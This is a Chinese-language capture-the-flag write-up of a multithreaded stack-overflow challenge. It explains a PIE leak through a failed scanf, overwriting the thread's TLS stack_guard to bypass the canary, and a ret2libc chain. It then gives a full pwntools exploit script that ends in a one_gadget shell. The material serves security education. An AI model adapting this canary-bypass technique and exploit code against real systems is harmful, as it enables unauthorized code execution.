通过这道题学到了很多东西, 感谢 rbp 师傅的分享. 本题是一个多线程的栈溢出, 题目本身不算难, 但是一些知识还是挺有趣的.
考点: 栈溢出+多线程栈相关知识
保护: 64位程序, 保护全开
程序本身很简单, 主要说下关键点. 在 game 函数中, 存在如下逻辑:
这里 password 是一个随机数, 所以 Winner_prize 我们多半是进不去的. 但是这里用 scanf("%lu", &v1) 进行输入, 如果我们输入一个非数字, 比如 '+' 等字符. 这时是没有向 v1 中写入值的. 所以后面 printf 输出的就是一个栈上的数据, 通过他我们可以泄漏一些信息.
经过调试, 最开始 v1 = [rbp-0x10] = _start, 所以当我们输入失败后, 后面输出的就是 [rbp-0x10] = _start 的值了, 以此可以绕过 PIE.
然后就开了一个线程: 注意最开始是存在栈溢出的, 但是没啥用
子线程中存在栈溢出:
为什么题目要在子线程中搞一个栈溢出呢? 我们先在主线程中看看其 TLS 的位置:
因为题目开了 Canary, 所以要进行栈溢出利用的第一步就是泄漏 Canary, 但是这里没啥可以用来泄漏的, 那就只有通过覆盖 TLS 中的 stack_guard 来进行利用了, 而如果要在主线程中通过栈溢出来完成是不可能的, 因为 TLS 在栈的上方.
但是在子线程中就不一样了. 我们知道线程之间是共享虚拟内存的, 那么这就存在一个很大的问题了, 比如堆/栈地址冲突, 所以子线程的堆/栈其实是用 mmap 来模拟的 (这里我大概看了下源码, 但是可能有误, 请读者自行检验).
所以可以看到在子线程中其栈在匿名映射与文件映射区, 而 TLS 的位置在其下方不远处. 所以这里就可以直接通过栈溢出覆盖 TLS 中的 stack_guard 去绕过 Canary 保护.
后面就是经典的 ret2libc 了, 就没啥好说的了.
exp 如下: system 好像不行, 后面赋值的时候寄存器满足不了
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s, f : u32(io.recvuntil(s, drop=f, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s, f : u64(io.recvuntil(s, drop=f, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''
#gdb.attach(io, 'b *$rebase(0x0000000000001584)')
sla(b'name: ', b'XiaozaYa')
sla(b'guess : ', b'+')
rut(b'entered ')
_start = int(rut(b'.\n'), 10)
base = _start - elf.sym._start
info("_start", _start)
info("base", base)
pop_rdi = 0x00000000000016e3 + base # pop rdi ; ret
pop_rsi = 0x00000000000016e1 + base # pop rsi ; pop r15 ; ret
ret = 0x000000000000101a + base # ret
puts_plt = 0x0000000000001150 + base
puts_got = 0x0000000000003F60 + base
ret_addr = 0x0000000000001541 + base
pay = b'A'*0x38 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr)
pay = pay.ljust(0x870, b'A')
print(pay)
sl(pay)
libc.address = u64(ruf(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym.puts
info("libc_base", libc.address)
"""
0xe3afe execve("/bin/sh", r15, r12)
0xe3b01 execve("/bin/sh", r15, rdx)
0xe3b04 execve("/bin/sh", rsi, rdx)
"""
ogs = [0xe3afe, 0xe3b01, 0xe3b04]
ogs = [i+libc.address for i in ogs]
pop_4 = 0x00000000000016dc + base # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
#pay = b'A'*0x38 + p64(ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym.system)
pay = b'A'*0x38 + p64(pop_4) + p64(0)*4 + p64(ogs[0])
sl(pay)
#pause()
#debug()
sh()
效果如下: